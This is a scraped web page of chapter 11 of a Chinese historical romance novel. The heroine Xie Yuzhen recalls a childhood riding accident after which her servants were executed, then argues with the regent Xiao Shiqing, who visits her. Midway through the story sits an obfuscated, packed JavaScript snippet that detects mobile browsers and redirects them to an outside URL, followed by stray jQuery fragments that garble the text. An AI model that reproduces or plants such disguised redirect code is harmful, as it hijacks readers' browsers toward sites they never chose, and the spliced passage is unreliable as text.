默认冷灰
24号文字
方正启体

11. 踏莎行

作者:花晚晚本书字数:K更新时间:
    往时有一年孟春,宫里以洗去冬末疲乏之气为由在宫外十里的山上设宴,召群贤汇集以迎春猎。


    彼时诸臣随行,山道之上绿云扰扰,所见皆是春和景明。


    那一年嘉平帝尚且身强体壮,北塞边境平定,加之有些年头没起战事,便想借此来弘扬北梁崇武之风,以备他日无将之患。


    此行前往的都是些近属亲臣,谢玉媜自然也在其中。


    那时还未生后来的那些唏嘘事,她小小年纪又众星捧月地叫人溺爱,难免看什么都觉得新鲜,看什么都想收进囊中,便二话不说跟着嘉平帝离了宫。


    许多事她如今自己回忆已然记得不太清,只后来听当年侍奉她的宫女提过,当时她生得眉目昳丽,坐在香车里撩起珠帘探身往外望的时候,许多随行侍从爱怜她,怕她不留神磕着碰着掉些金珠子惹人心疼,便参差不齐地一同簇拥前去问“小世女要什么?”


    要什么?


    谢玉媜当时装模作样眯了眯双眸,在路边上找了一丛开着花骨朵的野草,指着随口胡扯一句“新也”,转眼便教人毫不吝惜地将那块长草的土坡给折腾得惨不忍睹,侍从笑靥如花地捧着野芳供奉,却见谢玉媜那顽吝兴致索然地垂下珠帘,侧身阖眸便波澜不惊地在香车里寐了。


    诸如此类还有良多,也是谢玉媜年少有所持,自以为是做浮生大梦,万事在她眼里不过左一句“妙哉”、右一句“奇也”便能如愿以偿,半点没吃过求而不得、辗转反侧之苦。


    那时溺在温柔乡里五感麻痹倒也想不及前路斗转参横,处处皆是报果。


    ……


    稍假以时候,香车晃荡晃荡着悠悠入了围场,谢玉媜入帐整装待发、再露面时已是意气风发,抬眸瞧见弓马大雕,摩拳擦掌便不自量力地想要将天地也踩在脚下。


    满脑子是俯身逐林中野兔麋鹿、举目射山雀飞鸟,仿佛长天阔地都小得快装不下她一般限制了她大展手脚。


    长风簌簌,她又性野,听不着别人说的适可而止,任由疯马带着她窜进山林间。


    果真不料天妒英才,一朝使她脱缰下马断手脚……


    再睁眼时已然回了宫里寝殿。


    谢玉媜甫掠起眼皮便见榻前跪了一片乌压压的纱帽,纷纷摆着以死谢罪的架势垂眸朝着她,此情此景难得教她鬼神不惧的性子磨出来些局促不安。


    再瞧,身侧还坐着一人,却是皇后孟氏。她面上期期艾艾垂着泪,手中绢巾绞如麻绳,望见谢玉媜睁眼霎时便喜极而泣,泪珠子断了线的风筝似的扑簌簌往下掉,还忙不迭地挥着手中绢巾唤太医。


    乌泱泱一片纱帽左摇右晃、成群结队扑到她跟前,不过短短一刻钟,她便教人摸了不知多少回手腕,所幸榻下医官都登名在侧,是板上钉钉的把脉治病好郎官,不消得她浮想成文章,便手脚麻利地写好方子抓好了药,熬了几碗十全大补汤谨听皇后娘娘吩咐,想灌她多少灌多少。


    直到人参雪莲吃腻了,谢玉媜这顽吝都觉得她是受了无上之苦。


    好不容易叫苦连天地引来了处理完公务的嘉平帝,得了几句抚慰,不料却在身心松懈之际,听他话锋一转道了一句:“坠马之失是宫侍之过,当日涉事一干人等已被当众杖毙。”


    他言状之轻,谢玉媜听着还以为那些宫侍只是受了罚下俸禄这样的罪责,还未待她反应过来身上染了人命这样的事实,又见嘉平帝极其温柔地摸了摸她的头发,面上和蔼可亲道:“以后莫要再沾伤痛。”


    谢玉媜当时温吞吞应下,脑子还是木的,云里雾里又歇了一觉,果不其然地做了场大梦。


    梦里满身是血的宫侍纷纷伸着手来挠她,哭着喊着要她不得好死,她满头大汗地挣扎着醒来,再起身时已然东际透亮。


    此后殿中侍从瞧她再不敢带着从前那般关切的眼神,大多不敢抬头正眼看她,大多一副视死如归的模样再也未同她亲近,好似隔着人命,她浑身都沾满了不干净。


    偶尔有那么些时候,她对嘉平帝喜爱依赖的感情,像是原形毕露一般变为了畏惧。


    自那以后,她便杯弓蛇影似的再不敢轻易教自己招上伤痛。


    “怎么?难不成藏书楼还真有什么不可告人的?”萧时青问话半天不见她吭声,反视如无睹地走起了神,无奈又出声问道。


    谢玉媜回过神:“哪有什么不可告人的。”


    她转身坐回小炉的茶案前,手指冰凉,不知是被阴郁往事笼的,还是教窗边寒风卷的。


    心下烦躁地想摔杯倒碗,又碍着眼前萧时青这个看热闹不嫌事大的在跟前杵着作不得疯,她按耐下心里不快语气稍冷道:“时候不早了,殿下莫要叫宫人等得着急。”


    萧时青笑着揪了手边上花苞的两片花瓣,信步停在了谢玉媜身侧,继而饶有兴致地半屈身盯着谢玉媜的神色道:“什么时候也关心起我来了?”


    还未等谢玉媜耐着性子回答,他便抬了抬下巴又说:“张嘴。”


    谢玉媜自然不听他,才扭过头偏又教他捏着下巴被迫分开了唇。


    冰凉的两片花瓣入口,谢玉媜皱着眉头卷了一下花尖,霎时间不小心碰到萧时青温热的手指,忽觉着一阵反胃,她猛地掀开萧时青,如同一只离弦的箭飞快窜到门口,随即痛苦地干呕了几声。


    萧时青毫不意外地脸色阴沉,瞧了瞧自己的手指,又瞧了瞧扒在门口的谢玉媜,拿起还温热的茶壶添满了一杯,握着杯盏径直走过去将谢玉媜一把拎了起来,可以说是丝毫不“怜香惜玉”地要谢玉媜漱口。


    “你有什么病!”谢玉媜呛红了脸,怒目圆睁地看着萧时青,顺便将他手中拿的杯盏痛快摔了。


    萧时青笑了笑故意逗她似的轻飘飘地说了句“你才有病”。


    是了,怎么看谢玉媜都更像是有病的那个。


    许是院里动静实在闹得大了,也惊扰了前院的耳朵,管事疾步赶来先是向萧时青好赔了一顿罪,又看了谢玉媜几眼替她找了身干净衣裳。


    临走时也不忘提醒二人“晚膳已经备好,待会便会送来”,里里外外摆明了是想要谢玉媜留下萧时青一起用膳。


    谢玉媜冷哼一声,直接教她滚,对萧时青的语气也不善:“景初殿的炭火比世女府还要缺么,殿下非要来此凑这不够分的粥?”


    谢玉媜拂袖进屋盯着窗台的花瓶狠狠皱眉,下一刻果不其然将它掀了摔得粉碎。


    她年少时候从未受过当面受制于人的气,后来年岁稍长也是靠着嘉平帝恩泽的余威,妥妥当当走到今日。


    虽说如今被一张利用她的大网盖得严严实实,却也是暗地里被人撺掇着制肘,且这恨这仇是她知晓根蒂,明了自个脱身不掉,所以才破罐子破摔随它去的。


    她为避四方,宁愿做只没有鸿鹄之志的燕雀死在寒窑里,都有人非得求她不痛快,这又教她如何能忍呢?


    “恼了?”萧时青跟在她身后进屋,一直未落座。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815602|190860||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谢玉媜着实不愿同他多说什么,摆了摆手一副精疲力尽之态,倚在窗台旁:“萧懿安,少年旧事早形同槁木死灰,难复追矣,趁着晚间雪还未冻,你当提灯早归。”


    “往何处归?”萧时青的声音极近,谢玉媜甚至都不曾察觉他是什么时候走到自己身后的。


    “往心安处、往求全处、往得独善其身处,只要你不嫌麻烦,实则你往哪里归都无人管得着你,你是先帝亲封的摄政王,有谁会不知死活碍你的路呢。”说来实在也好笑,她一个连自个都说服不了的,竟也会有朝一日开始给别人找法子舒坦。


    萧时青不动声色地瞧她,半晌才温和发问:“听故事吗谢竹筠?”


    谢玉媜说了那么多话权教他当作耳旁风,一时是真觉得他脑子有病,皱眉拒绝道:“不必……”


    “我以为你身陷囹圄,总该瞧着别人的不如意也幸灾乐祸几句,倘若你非不听,我也是非要说的。”


    谢玉媜冷笑:“那殿下又何故问我意见。”


    萧时青走到她身侧,学着谢玉媜往日神情望向窗外:“你真是半分都不讨喜。”谢玉媜还未及回怼一句,却又听他说:“可却又是这天地间足够令人生喜的人了。”


    她冷哼一声:“外人都传我疯了,可我瞧着你们一个个,倒是比我更像疯的。”


    萧时青知道谢玉媜当然会这般说,因为她没教人胡乱算过卦,也没有教人平白无故安上过什么“苦深室、悲离亡”的帽子,更没有清寒古庙数载无人问津,仿佛天地之间都不需要他这个人了一般,天地浩大却只能在菩萨堂里装聋作哑。


    “是吧,在深山里头关了数载,怎么着也该疯了。”萧时青讥笑道。


    谢玉媜闻言愣了愣,随后张了张嘴唇什么也没说出来。


    萧时青立在原地看着窗外漫天飞雪,勾起嘴角伸手出去接了一两点雪花,但那并不顽强的零星冰晶,很快便教他手里温热给融成一抹水迹,他一收手更是了无踪迹。


    谢玉媜安静瞧着他张开手指朝她笑着说:“我如今再也不冷了。”


    谢玉媜轻抿了抿唇。


    他不用说的太深谢玉媜也大抵明白,他想说他是司空见惯,对这种人生来就有的感觉失了原本的畏惧。可他实则是冷的,他冷得心底寒凉寸草难生,冷得再不能忠诚这天下任何一处地方任何一个人。


    但那又能怎么样呢?


    倘若是多年前的谢玉媜瞧见,恐怕还会给他力所能及的鼎铛玉石接济,如今的谢玉媜连有翅膀的燕雀都不如,可怜自己都来不及,如何还能分给他一丝怜悯。


    于是她只能装作油盐不进的模样又端了端冷硬的语气撵人道:“殿下与我无异于对牛弹琴,不如早些回宫温茶烧炭。”


    萧时青大抵早料到她这般态度,只好挑了挑眉另起一事道:“前几日收到塞北回来的折子,似乎是孟昭禹要回来了,你听说了么?”


    谢玉媜皱眉,昭禹是仲清的名,他姓孟,字仲清。


    他提及孟昭禹的意味不言而喻,可倘若连孟昭禹跟她的关系他都能察知得一清二楚的话,那付弋云恐怕早已成为了一颗众矢之的的棋子,又或者说,付弋云他早知晓这么一回事了。


    他们在密谋什么?


    谢玉媜不得而知,她闭了闭眸,当真是觉着有些累了:“既然晚膳已经备好,殿下不如留下来细细同我说道。”


    萧时青随即便得逞地笑了笑:“当然,荣幸之至。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)